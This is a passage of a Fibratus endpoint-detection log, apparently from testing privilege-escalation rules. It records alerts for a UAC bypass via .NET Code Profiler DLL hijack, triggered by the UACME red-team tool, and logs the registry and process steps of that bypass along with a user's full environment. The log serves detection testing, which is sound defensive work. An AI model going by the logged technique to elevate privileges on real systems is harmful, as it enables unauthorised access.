Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1826850 + Pid: 10680 + Tid: 18060 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-02 15:44:17.220774 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 2934d000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808fb9f3b080, name➜ cmd.exe, pid➜ 15428, ppid➜ 10680, real_ppid➜ 10680, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-02 15:44:17.2207092 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 16362572166505455993, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 10680 + Ppid: 12276 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-02T15:44:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T15:44:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T15:44:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T15:46:01+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T15:46:01+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T15:46:01+01:00 level=info msg=bootstrapping with pid 17452. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T15:46:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] port=>25 enabled=>false content-type=>text/html use-template=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-thread=>true buffer-size=>512 enable-threadpool=>false stack-enrichment=>true enable-mem=>true enable-fileio=>true enable-vamap=>true enable-handle=>false max-buffers=>36 enable-image=>true enable-audit-api=>true flush-interval=>1s enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info max-age=>0 formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ timeout=>5s gzip-compression=>false healthcheck-interval=>10s enabled=>false healthcheck-timeout=>5s trace-log=>false healthcheck=>true flush-period=>1s template-name=>fibratus servers=>[http://127.0.0.1:9200] index-name=>fibratus bulk-workers=>1 sniff=>false] amqp=>[ url=>amqp://localhost:5672 vhost=>/ timeout=>5s tls-insecure-skip-verify=>false enabled=>false exchange=>fibratus routing-key=>fibratus exchange-type=>topic delivery-mode=>transient durable=>false passive=>false] eventlog=>[ enabled=>false level=>info] http=>[ timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json endpoints=>[] enabled=>false method=>POST]] + pe ............................. [ read-resources=>false read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-allocs=>false skip-mmaps=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-files=>false skip-registry=>false scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-02T15:46:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T15:46:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T15:46:12+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 1833292 + Pid: 16168 + Tid: 2120 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-02 15:46:11.1201866 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffff9508d7db52f0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 18269657026245613826 + + Pid: 16168 + Ppid: 15544 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:9885a1e8-f49f-46fa-a45d-9d5c3a2701bb WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1836901 + Pid: 10808 + Tid: 18216 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-02 15:46:11.799704 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 43945b000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808fc3f27080, name➜ cmd.exe, pid➜ 888, ppid➜ 10808, real_ppid➜ 10808, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-02 15:46:11.7996453 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 18269657026245613826 + + Pid: 10808 + Ppid: 16168 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-02T15:47:34+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 1840972 + Pid: 12536 + Tid: 14196 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-02 15:47:32.5812037 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffff9508d7db52f0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 18269657026245613826 + + Pid: 12536 + Ppid: 15544 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program 